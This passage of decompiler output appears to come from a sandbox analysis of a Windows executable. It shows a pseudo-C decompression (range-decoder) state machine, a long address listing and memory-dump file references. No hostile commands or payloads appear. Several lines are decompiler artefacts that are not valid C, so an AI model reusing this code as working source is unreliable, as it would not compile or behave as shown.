								_v60 + 0xf << 4 = (_v60 + 0xf << 4) + _v80;
								__esi = _v8 + ((_v60 + 0xf << 4) + _v80) * 2;
							}
							goto L135;
						case 9:
							__eflags = _v68;
							if(_v68 != 0) {
								goto L92;
							}
							__eflags = _v100;
							if(_v100 == 0) {
								goto L174;
							}
							__eax = 0;
							__eflags = _v60 - 7;
							_t264 = _v60 - 7 >= 0;
							__eflags = _t264;
							0 | _t264 = _t264 + _t264 + 9;
							_v60 = _t264 + _t264 + 9;
							goto L78;
						case 0xa:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v136 = 0xb;
								__esi = _v8 + 0x1c8 + _v60 * 2;
								goto L135;
							}
							__eax = _v44;
							goto L91;
						case 0xb:
							__eflags = _v68;
							if(_v68 != 0) {
								__ecx = _v40;
								__eax = _v36;
								_v36 = _v40;
							} else {
								__eax = _v40;
							}
							__ecx = _v44;
							_v40 = _v44;
							L91:
							__ecx = _v48;
							_v48 = __eax;
							_v44 = _v48;
							L92:
							__eax = _v8;
							_v132 = 0x15;
							__eax = _v8 + 0xa68;
							_v92 = _v8 + 0xa68;
							goto L71;
						case 0xc:
							L102:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xc;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t340 =  &_v116;
							 *_t340 = _v116 + 1;
							__eflags =  *_t340;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							__eax = _v48;
							goto L104;
						case 0xd:
							L39:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xd;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t127 =  &_v116;
							 *_t127 = _v116 + 1;
							__eflags =  *_t127;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L41:
							__eax = _v68;
							__eflags = _v76 - _v68;
							if(_v76 != _v68) {
								goto L50;
							}
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								goto L56;
							}
							L43:
							__eax = _v95 & 0x000000ff;
							_v95 = _v95 << 1;
							__ecx = _v92;
							__eax = (_v95 & 0x000000ff) >> 7;
							_v76 = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi = _v92 + __eax * 2;
							_v20 = _v20 >> 0xb;
							__ax =  *__esi;
							_v88 = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edx;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								_v68 = 1;
								__cx = __ax >> 5;
								__eflags = __eax;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								_v68 = _v68 & 0x00000000;
								_v20 = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							_v72 = __ebx;
							if(_v20 >= 0x1000000) {
								goto L41;
							} else {
								goto L39;
							}
						case 0xe:
							L48:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xe;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t161 =  &_v116;
							 *_t161 = _v116 + 1;
							__eflags =  *_t161;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							while(1) {
								L50:
								__eflags = __ebx - 0x100;
								if(__ebx >= 0x100) {
									break;
								}
								__eax = _v92;
								__edx = __ebx + __ebx;
								__ecx = _v20;
								__esi = __edx + __eax;
								__ecx = _v20 >> 0xb;
								__ax =  *__esi;
								_v88 = __esi;
								__edi = __ax & 0x0000ffff;
								__ecx = (_v20 >> 0xb) * __edi;
								__eflags = _v16 - __ecx;
								if(_v16 >= __ecx) {
									_v20 = _v20 - __ecx;
									_v16 = _v16 - __ecx;
									__cx = __ax;
									_t175 = __edx + 1; // 0x1
									__ebx = _t175;
									__cx = __ax >> 5;
									__eflags = __eax;
									 *__esi = __ax;
								} else {
									_v20 = __ecx;
									0x800 = 0x800 - __edi;
									0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
									__ebx = __ebx + __ebx;
									 *__esi = __cx;
								}
								__eflags = _v20 - 0x1000000;
								_v72 = __ebx;
								if(_v20 >= 0x1000000) {
									continue;
								} else {
									goto L48;
								}
							}
							L56:
							_t178 =  &_v56;
							 *_t178 = _v56 & 0x00000000;
							__eflags =  *_t178;
							goto L57;
						case 0xf:
							L60:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xf;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t208 =  &_v116;
							 *_t208 = _v116 + 1;
							__eflags =  *_t208;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L62:
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								L57:
								__al = _v72;
								_v96 = _v72;
								goto L58;
							}
							L63:
							__eax = _v92;
							__edx = __ebx + __ebx;
							__ecx = _v20;
							__esi = __edx + __eax;
							__ecx = _v20 >> 0xb;
							__ax =  *__esi;
							_v88 = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edi;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								_t222 = __edx + 1; // 0x1
								__ebx = _t222;
								__cx = __ax >> 5;
								__eflags = __eax;
								 *__esi = __ax;
							} else {
								_v20 = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							_v72 = __ebx;
							if(_v20 >= 0x1000000) {
								goto L62;
							} else {
								goto L60;
							}
						case 0x10:
							L112:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0x10;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t371 =  &_v116;
							 *_t371 = _v116 + 1;
							__eflags =  *_t371;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							goto L114;
						case 0x11:
							L71:
							__esi = _v92;
							_v136 = 0x12;
							goto L135;
						case 0x12:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v92;
								_v136 = 0x13;
								__esi = _v92 + 2;
								L135:
								_v88 = _t626;
								goto L136;
							}
							__eax = _v80;
							_v52 = _v52 & 0x00000000;
							__ecx = _v92;
							__eax = _v80 << 4;
							__eflags = __eax;
							__eax = _v92 + __eax + 4;
							goto L133;
						case 0x13:
							__eflags = _v68;
							if(_v68 != 0) {
								_t475 =  &_v92;
								 *_t475 = _v92 + 0x204;
								__eflags =  *_t475;
								_v52 = 0x10;
								_v68 = 8;
								L147:
								_v128 = 0x14;
								goto L148;
							}
							__eax = _v80;
							__ecx = _v92;
							__eax = _v80 << 4;
							_v52 = 8;
							__eax = _v92 + (_v80 << 4) + 0x104;
							L133:
							_v92 = __eax;
							_v68 = 3;
							goto L147;
						case 0x14:
							_v52 = _v52 + __ebx;
							__eax = _v132;
							goto L143;
						case 0x15:
							__eax = 0;
							__eflags = _v60 - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							_v60 = (__eflags >= 0) - 1 + 0xb;
							goto L123;
						case 0x16:
							__eax = _v52;
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx = _v8;
							_v68 = 6;
							__eax = __eax << 7;
							_v128 = 0x19;
							_v92 = __eax;
							goto L148;
						case 0x17:
							L148:
							__eax = _v68;
							_v84 = 1;
							_v76 = _v68;
							goto L152;
						case 0x18:
							L149:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0x18;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t490 =  &_v116;
							 *_t490 = _v116 + 1;
							__eflags =  *_t490;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L151:
							_t493 =  &_v76;
							 *_t493 = _v76 - 1;
							__eflags =  *_t493;
							L152:
							__eflags = _v76;
							if(_v76 <= 0) {
								__ecx = _v68;
								__ebx = _v84;
								0 = 1;
								__eax = 1 << __cl;
								__ebx = _v84 - (1 << __cl);
								__eax = _v128;
								_v72 = __ebx;
								L143:
								_v140 = _t561;
								goto L3;
							}
							__eax = _v84;
							_v20 = _v20 >> 0xb;
							__edx = _v84 + _v84;
							__eax = _v92;
							__esi = __edx + __eax;
							_v88 = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edi;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								_v84 = __edx;
							} else {
								_v20 = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								_v84 = _v84 << 1;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							if(_v20 >= 0x1000000) {
								goto L151;
							} else {
								goto L149;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								_v48 = __ebx;
								L122:
								_t399 =  &_v48;
								 *_t399 = _v48 + 1;
								__eflags =  *_t399;
								L123:
								__eax = _v48;
								__eflags = __eax;
								if(__eax == 0) {
									_v52 = _v52 | 0xffffffff;
									goto L173;
								}
								__eflags = __eax - _v100;
								if(__eax > _v100) {
									goto L174;
								}
								_v52 = _v52 + 2;
								__eax = _v52;
								_t406 =  &_v100;
								 *_t406 = _v100 + _v52;
								__eflags =  *_t406;
								goto L126;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							_v48 = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								_v76 = __ecx;
								L105:
								__eflags = _v76;
								if(_v76 <= 0) {
									__eax = __eax + __ebx;
									_v68 = 4;
									_v48 = __eax;
									__eax = _v8;
									__eax = _v8 + 0x644;
									__eflags = __eax;
									L111:
									__ebx = 0;
									_v92 = __eax;
									_v84 = 1;
									_v72 = 0;
									_v76 = 0;
									L115:
									__eax = _v68;
									__eflags = _v76 - _v68;
									if(_v76 >= _v68) {
										_t397 =  &_v48;
										 *_t397 = _v48 + __ebx;
										__eflags =  *_t397;
										goto L122;
									}
									__eax = _v84;
									_v20 = _v20 >> 0xb;
									__edi = _v84 + _v84;
									__eax = _v92;
									__esi = __edi + __eax;
									_v88 = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = (_v20 >> 0xb) * __ecx;
									__eflags = _v16 - __edx;
									if(_v16 >= __edx) {
										__ecx = 0;
										_v20 = _v20 - __edx;
										__ecx = 1;
										_v16 = _v16 - __edx;
										__ebx = 1;
										__ecx = _v76;
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx = _v72;
										__ebx = _v72 | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										_v72 = __ebx;
										 *__esi = __ax;
										_v84 = __edi;
									} else {
										_v20 = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										_v84 = _v84 << 1;
										 *__esi = __dx;
									}
									__eflags = _v20 - 0x1000000;
									if(_v20 >= 0x1000000) {
										L114:
										_t374 =  &_v76;
										 *_t374 = _v76 + 1;
										__eflags =  *_t374;
										goto L115;
									} else {
										goto L112;
									}
								}
								__ecx = _v16;
								__ebx = __ebx + __ebx;
								_v20 = _v20 >> 1;
								__eflags = _v16 - _v20;
								_v72 = __ebx;
								if(_v16 >= _v20) {
									__ecx = _v20;
									_v16 = _v16 - _v20;
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									_v72 = __ebx;
								}
								__eflags = _v20 - 0x1000000;
								if(_v20 >= 0x1000000) {
									L104:
									_t344 =  &_v76;
									 *_t344 = _v76 - 1;
									__eflags =  *_t344;
									goto L105;
								} else {
									goto L102;
								}
							}
							__edx = _v8;
							__eax = __eax - __ebx;
							_v68 = __ecx;
							__eax = _v8 + 0x55e + __eax * 2;
							goto L111;
						case 0x1a:
							L58:
							__eflags = _v104;
							if(_v104 == 0) {
								_v140 = 0x1a;
								goto L173;
							}
							__ecx = _v108;
							__al = _v96;
							__edx = _v12;
							_v100 = _v100 + 1;
							_v108 = _v108 + 1;
							_v104 = _v104 - 1;
							 *_v108 = __al;
							__ecx = _v24;
							 *(_v12 + __ecx) = __al;
							__eax = __ecx + 1;
							__edx = 0;
							_t197 = __eax % _v120;
							__eax = __eax / _v120;
							__edx = _t197;
							goto L82;
						case 0x1b:
							L78:
							__eflags = _v104;
							if(_v104 == 0) {
								_v140 = 0x1b;
								goto L173;
							}
							__eax = _v24;
							__eax = _v24 - _v48;
							__eflags = __eax - _v120;
							if(__eax >= _v120) {
								__eax = __eax + _v120;
								__eflags = __eax;
							}
							__edx = _v12;
							__cl =  *(__edx + __eax);
							__eax = _v24;
							_v96 = __cl;
							 *(__edx + __eax) = __cl;
							__eax = __eax + 1;
							__edx = 0;
							_t280 = __eax % _v120;
							__eax = __eax / _v120;
							__edx = _t280;
							__eax = _v108;
							_v100 = _v100 + 1;
							_v108 = _v108 + 1;
							_t289 =  &_v104;
							 *_t289 = _v104 - 1;
							__eflags =  *_t289;
							 *_v108 = __cl;
							L82:
							_v24 = __edx;
							goto L83;
						case 0x1c:
							while(1) {
								L126:
								__eflags = _v104;
								if(_v104 == 0) {
									break;
								}
								__eax = _v24;
								__eax = _v24 - _v48;
								__eflags = __eax - _v120;
								if(__eax >= _v120) {
									__eax = __eax + _v120;
									__eflags = __eax;
								}
								__edx = _v12;
								__cl =  *(__edx + __eax);
								__eax = _v24;
								_v96 = __cl;
								 *(__edx + __eax) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t420 = __eax % _v120;
								__eax = __eax / _v120;
								__edx = _t420;
								__eax = _v108;
								_v108 = _v108 + 1;
								_v104 = _v104 - 1;
								_v52 = _v52 - 1;
								__eflags = _v52;
								 *_v108 = __cl;
								_v24 = _t420;
								if(_v52 > 0) {
									continue;
								} else {
									L83:
									_v140 = 2;
									goto L3;
								}
							}
							_v140 = 0x1c;
							L173:
							_push(0x22);
							_pop(_t574);
							memcpy(_v148,  &_v140, _t574 << 2);
							return 0;
					}
				}
				L174:
				_t538 = _t537 | 0xffffffff;
				return _t538;
			}

0x00406a5f
0x00406a66
0x00406a6c
0x00406a72
0x00000000
0x00406a76
0x00406a82
0x00406a82
0x00406a82
0x00406a8b
0x00000000
0x00000000
0x00406a91
0x00000000
0x00406a98
0x00406a9c
0x00000000
0x00000000
0x00406aa5
0x00406aa8
0x00406aab
0x00406aad
0x00406aaf
0x00000000
0x00000000
0x00406ab5
0x00406ab8
0x00406aba
0x00406abb
0x00406abe
0x00406ac0
0x00406ac1
0x00406ac3
0x00406ac6
0x00406acb
0x00406ad0
0x00406ad9
0x00406aec
0x00406aef
0x00406af8
0x00406afb
0x00406b23
0x00406b23
0x00406b25
0x00406b33
0x00406b33
0x00406b37
0x00000000
0x00000000
0x00000000
0x00000000
0x00406b27
0x00406b27
0x00406b2a
0x00406b2a
0x00406b2b
0x00406b2b
0x00000000
0x00406b27
0x00406afd
0x00406b01
0x00406b06
0x00406b06
0x00406b0f
0x00406b15
0x00406b17
0x00406b1a
0x00000000
0x00406b20
0x00406b20
0x00000000
0x00406b20
0x00000000
0x00406b3d
0x00406b3d
0x00406b41
0x004073ed
0x00000000
0x004073ed
0x00406b4a
0x00406b5a
0x00406b5d
0x00406b60
0x00406b60
0x00406b60
0x00406b63
0x00406b63
0x00406b67
0x00000000
0x00000000
0x00406b69
0x00406b6c
0x00406b6f
0x00406b99
0x00406b9f
0x00406ba6
0x00000000
0x00406ba6
0x00406b71
0x00406b75
0x00406b78
0x00406b7d
0x00406b7d
0x00406b88
0x00406b8e
0x00406b90
0x00406b93
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406bd8
0x00406bde
0x00406be1
0x00406bee
0x00406bf6
0x00000000
0x00000000
0x00406bad
0x00406bad
0x00406bb1
0x004073fc
0x00000000
0x004073fc
0x00406bbd
0x00406bc8
0x00406bc8
0x00406bc8
0x00406bcb
0x00406bce
0x00406bd1
0x00406bd4
0x00406bd6
0x00000000
0x00000000
0x00000000
0x00000000
0x0040726d
0x0040726d
0x00407273
0x00407279
0x0040727c
0x0040727f
0x00407299
0x0040729c
0x004072a2
0x004072ad
0x004072ad
0x004072af
0x00407281
0x00407281
0x00407290
0x00407294
0x00407294
0x004072b2
0x004072b9
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004072bb
0x004072bb
0x004072bf
0x0040746e
0x00000000
0x0040746e
0x004072cb
0x004072d2
0x004072da
0x004072da
0x004072da
0x004072dd
0x004072e0
0x004072e0
0x00000000
0x00000000
0x00406bfe
0x00406c00
0x00406c03
0x00406c74
0x00406c77
0x00406c7a
0x00406c81
0x00406c8b
0x00000000
0x00406c8b
0x00406c05
0x00406c09
0x00406c0c
0x00406c0e
0x00406c11
0x00406c14
0x00406c16
0x00406c19
0x00406c1b
0x00406c20
0x00406c23
0x00406c26
0x00406c2a
0x00406c31
0x00406c34
0x00406c3b
0x00406c3f
0x00406c47
0x00406c47
0x00406c47
0x00406c41
0x00406c41
0x00406c41
0x00406c36
0x00406c36
0x00406c36
0x00406c4b
0x00406c4e
0x00406c6c
0x00406c6e
0x00000000
0x00406c6e
0x00406c50
0x00406c53
0x00406c56
0x00406c59
0x00406c5b
0x00406c5b
0x00406c5b
0x00406c5e
0x00406c61
0x00406c63
0x00406c64
0x00406c67
0x00000000
0x00000000
0x00406e9d
0x00406ea1
0x00406ebf
0x00406ec2
0x00406ec9
0x00406ecc
0x00406ecf
0x00406ed2
0x00406ed5
0x00406ed8
0x00406eda
0x00406ee1
0x00406ee2
0x00406ee4
0x00406ee7
0x00406eea
0x00406eed
0x00406eed
0x00406ef2
0x00000000
0x00406ef2
0x00406ea3
0x00406ea6
0x00406ea9
0x00406eb3
0x00000000
0x00000000
0x00406f07
0x00406f0b
0x00406f2e
0x00406f31
0x00406f34
0x00406f3e
0x00406f0d
0x00406f0d
0x00406f10
0x00406f13
0x00406f16
0x00406f23
0x00406f26
0x00406f26
0x00000000
0x00000000
0x00406f4a
0x00406f4e
0x00000000
0x00000000
0x00406f54
0x00406f58
0x00000000
0x00000000
0x00406f5e
0x00406f60
0x00406f64
0x00406f64
0x00406f67
0x00406f6b
0x00000000
0x00000000
0x00406fbb
0x00406fbf
0x00406fc6
0x00406fc9
0x00406fcc
0x00406fd6
0x00000000
0x00406fd6
0x00406fc1
0x00000000
0x00000000
0x00406fe2
0x00406fe6
0x00406fed
0x00406ff0
0x00406ff3
0x00406fe8
0x00406fe8
0x00406fe8
0x00406ff6
0x00406ff9
0x00406ffc
0x00406ffc
0x00406fff
0x00407002
0x00407005
0x00407005
0x00407008
0x0040700f
0x00407014
0x00000000
0x00000000
0x004070a2
0x004070a2
0x004070a6
0x00407444
0x00000000
0x00407444
0x004070ac
0x004070af
0x004070b2
0x004070b6
0x004070b9
0x004070bf
0x004070c1
0x004070c1
0x004070c1
0x004070c4
0x004070c7
0x00000000
0x00000000
0x00406c97
0x00406c97
0x00406c9b
0x00407408
0x00000000
0x00407408
0x00406ca1
0x00406ca4
0x00406ca7
0x00406cab
0x00406cae
0x00406cb4
0x00406cb6
0x00406cb6
0x00406cb6
0x00406cb9
0x00406cbc
0x00406cbc
0x00406cbf
0x00406cc2
0x00000000
0x00000000
0x00406cc8
0x00406cce
0x00000000
0x00000000
0x00406cd4
0x00406cd4
0x00406cd8
0x00406cdb
0x00406cde
0x00406ce1
0x00406ce4
0x00406ce5
0x00406ce8
0x00406cea
0x00406cf0
0x00406cf3
0x00406cf6
0x00406cf9
0x00406cfc
0x00406cff
0x00406d02
0x00406d1e
0x00406d21
0x00406d24
0x00406d27
0x00406d2e
0x00406d32
0x00406d34
0x00406d38
0x00406d04
0x00406d04
0x00406d08
0x00406d10
0x00406d15
0x00406d17
0x00406d19
0x00406d19
0x00406d3b
0x00406d42
0x00406d45
0x00000000
0x00406d4b
0x00000000
0x00406d4b
0x00000000
0x00406d50
0x00406d50
0x00406d54
0x00407414
0x00000000
0x00407414
0x00406d5a
0x00406d5d
0x00406d60
0x00406d64
0x00406d67
0x00406d6d
0x00406d6f
0x00406d6f
0x00406d6f
0x00406d72
0x00406d75
0x00406d75
0x00406d75
0x00406d7b
0x00000000
0x00000000
0x00406d7d
0x00406d80
0x00406d83
0x00406d86
0x00406d89
0x00406d8c
0x00406d8f
0x00406d92
0x00406d95
0x00406d98
0x00406d9b
0x00406db3
0x00406db6
0x00406db9
0x00406dbc
0x00406dbc
0x00406dbf
0x00406dc3
0x00406dc5
0x00406d9d
0x00406d9d
0x00406da5
0x00406daa
0x00406dac
0x00406dae
0x00406dae
0x00406dc8
0x00406dcf
0x00406dd2
0x00000000
0x00406dd4
0x00000000
0x00406dd4
0x00406dd2
0x00406dd9
0x00406dd9
0x00406dd9
0x00406dd9
0x00000000
0x00000000
0x00406e14
0x00406e14
0x00406e18
0x00407420
0x00000000
0x00407420
0x00406e1e
0x00406e21
0x00406e24
0x00406e28
0x00406e2b
0x00406e31
0x00406e33
0x00406e33
0x00406e33
0x00406e36
0x00406e39
0x00406e39
0x00406e3f
0x00406ddd
0x00406ddd
0x00406de0
0x00000000
0x00406de0
0x00406e41
0x00406e41
0x00406e44
0x00406e47
0x00406e4a
0x00406e4d
0x00406e50
0x00406e53
0x00406e56
0x00406e59
0x00406e5c
0x00406e5f
0x00406e77
0x00406e7a
0x00406e7d
0x00406e80
0x00406e80
0x00406e83
0x00406e87
0x00406e89
0x00406e61
0x00406e61
0x00406e69
0x00406e6e
0x00406e70
0x00406e72
0x00406e72
0x00406e8c
0x00406e93
0x00406e96
0x00000000
0x00406e98
0x00000000
0x00406e98
0x00000000
0x00407125
0x00407125
0x00407129
0x00407450
0x00000000
0x00407450
0x0040712f
0x00407132
0x00407135
0x00407139
0x0040713c
0x00407142
0x00407144
0x00407144
0x00407144
0x00407147
0x00000000
0x00000000
0x00406ef5
0x00406ef5
0x00406ef8
0x00000000
0x00000000
0x00407234
0x00407238
0x0040725a
0x0040725d
0x00407267
0x0040726a
0x0040726a
0x00000000
0x0040726a
0x0040723a
0x0040723d
0x00407241
0x00407244
0x00407244
0x00407247
0x00000000
0x00000000
0x004072f1
0x004072f5
0x00407313
0x00407313
0x00407313
0x0040731a
0x00407321
0x00407328
0x00407328
0x00000000
0x00407328
0x004072f7
0x004072fa
0x004072fd
0x00407300
0x00407307
0x0040724b
0x0040724b
0x0040724e
0x00000000
0x00000000
0x004073e2
0x004073e5
0x00000000
0x00000000
0x0040701c
0x0040701e
0x00407025
0x00407026
0x00407028
0x0040702b
0x00000000
0x00000000
0x00407033
0x00407036
0x00407039
0x0040703b
0x0040703d
0x0040703d
0x0040703e
0x00407041
0x00407048
0x0040704b
0x00407059
0x00000000
0x00000000
0x0040732f
0x0040732f
0x00407332
0x00407339
0x00000000
0x00000000
0x0040733e
0x0040733e
0x00407342
0x0040747a
0x00000000
0x0040747a
0x00407348
0x0040734b
0x0040734e
0x00407352
0x00407355
0x0040735b
0x0040735d
0x0040735d
0x0040735d
0x00407360
0x00407363
0x00407363
0x00407363
0x00407363
0x00407366
0x00407366
0x0040736a
0x004073ca
0x004073cd
0x004073d2
0x004073d3
0x004073d5
0x004073d7
0x004073da
0x004072e6
0x004072e6
0x00000000
0x004072e6
0x0040736c
0x00407372
0x00407375
0x00407378
0x0040737b
0x0040737e
0x00407381
0x00407384
0x00407387
0x0040738a
0x0040738d
0x004073a6
0x004073a9
0x004073ac
0x004073af
0x004073b3
0x004073b5
0x004073b5
0x004073b6
0x004073b9
0x0040738f
0x0040738f
0x00407397
0x0040739c
0x0040739e
0x004073a1
0x004073a1
0x004073bc
0x004073c3
0x00000000
0x004073c5
0x00000000
0x004073c5
0x00000000
0x00407061
0x00407064
0x0040709a
0x004071ca
0x004071ca
0x004071ca
0x004071ca
0x004071cd
0x004071cd
0x004071d0
0x004071d2
0x0040745c
0x00000000
0x0040745c
0x004071d8
0x004071db
0x00000000
0x00000000
0x004071e1
0x004071e5
0x004071e8
0x004071e8
0x004071e8
0x00000000
0x004071e8
0x00407066
0x00407068
0x0040706a
0x0040706c
0x0040706f
0x00407070
0x00407072
0x00407074
0x00407077
0x0040707a
0x00407090
0x00407095
0x004070cd
0x004070cd
0x004070d1
0x004070fd
0x004070ff
0x00407106
0x00407109
0x0040710c
0x0040710c
0x00407111
0x00407111
0x00407113
0x00407116
0x0040711d
0x00407120
0x0040714d
0x0040714d
0x00407150
0x00407153
0x004071c7
0x004071c7
0x004071c7
0x00000000
0x004071c7
0x00407155
0x0040715b
0x0040715e
0x00407161
0x00407164
0x00407167
0x0040716a
0x0040716d
0x00407170
0x00407173
0x00407176
0x0040718f
0x00407191
0x00407194
0x00407195
0x00407198
0x0040719a
0x0040719d
0x0040719f
0x004071a1
0x004071a4
0x004071a6
0x004071a9
0x004071ad
0x004071af
0x004071af
0x004071b0
0x004071b3
0x004071b6
0x00407178
0x00407178
0x00407180
0x00407185
0x00407187
0x0040718a
0x0040718a
0x004071b9
0x004071c0
0x0040714a
0x0040714a
0x0040714a
0x0040714a
0x00000000
0x004071c2
0x00000000
0x004071c2
0x004071c0
0x004070d3
0x004070d6
0x004070d8
0x004070db
0x004070de
0x004070e1
0x004070e3
0x004070e6
0x004070e9
0x004070e9
0x004070ec
0x004070ec
0x004070ef
0x004070f6
0x004070ca
0x004070ca
0x004070ca
0x004070ca
0x00000000
0x004070f8
0x00000000
0x004070f8
0x004070f6
0x0040707c
0x0040707f
0x00407081
0x00407084
0x00000000
0x00000000
0x00406de3
0x00406de3
0x00406de7
0x0040742c
0x00000000
0x0040742c
0x00406ded
0x00406df0
0x00406df3
0x00406df6
0x00406df9
0x00406dfc
0x00406dff
0x00406e01
0x00406e04
0x00406e07
0x00406e0a
0x00406e0c
0x00406e0c
0x00406e0c
0x00000000
0x00000000
0x00406f6e
0x00406f6e
0x00406f72
0x00407438
0x00000000
0x00407438
0x00406f78
0x00406f7b
0x00406f7e
0x00406f81
0x00406f83
0x00406f83
0x00406f83
0x00406f86
0x00406f89
0x00406f8c
0x00406f8f
0x00406f92
0x00406f95
0x00406f96
0x00406f98
0x00406f98
0x00406f98
0x00406f9b
0x00406f9e
0x00406fa1
0x00406fa4
0x00406fa4
0x00406fa4
0x00406fa7
0x00406fa9
0x00406fa9
0x00000000
0x00000000
0x004071eb
0x004071eb
0x004071eb
0x004071ef
0x00000000
0x00000000
0x004071f5
0x004071f8
0x004071fb
0x004071fe
0x00407200
0x00407200
0x00407200
0x00407203
0x00407206
0x00407209
0x0040720c
0x0040720f
0x00407212
0x00407213
0x00407215
0x00407215
0x00407215
0x00407218
0x0040721b
0x0040721e
0x00407221
0x00407224
0x00407228
0x0040722a
0x0040722d
0x00000000
0x0040722f
0x00406fac
0x00406fac
0x00000000
0x00406fac
0x0040722d
0x00407462
0x00407484
0x0040748a
0x0040748c
0x00407493
0x00000000
0x00000000
0x00406a91
0x00407499
0x00407499
0x00000000

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
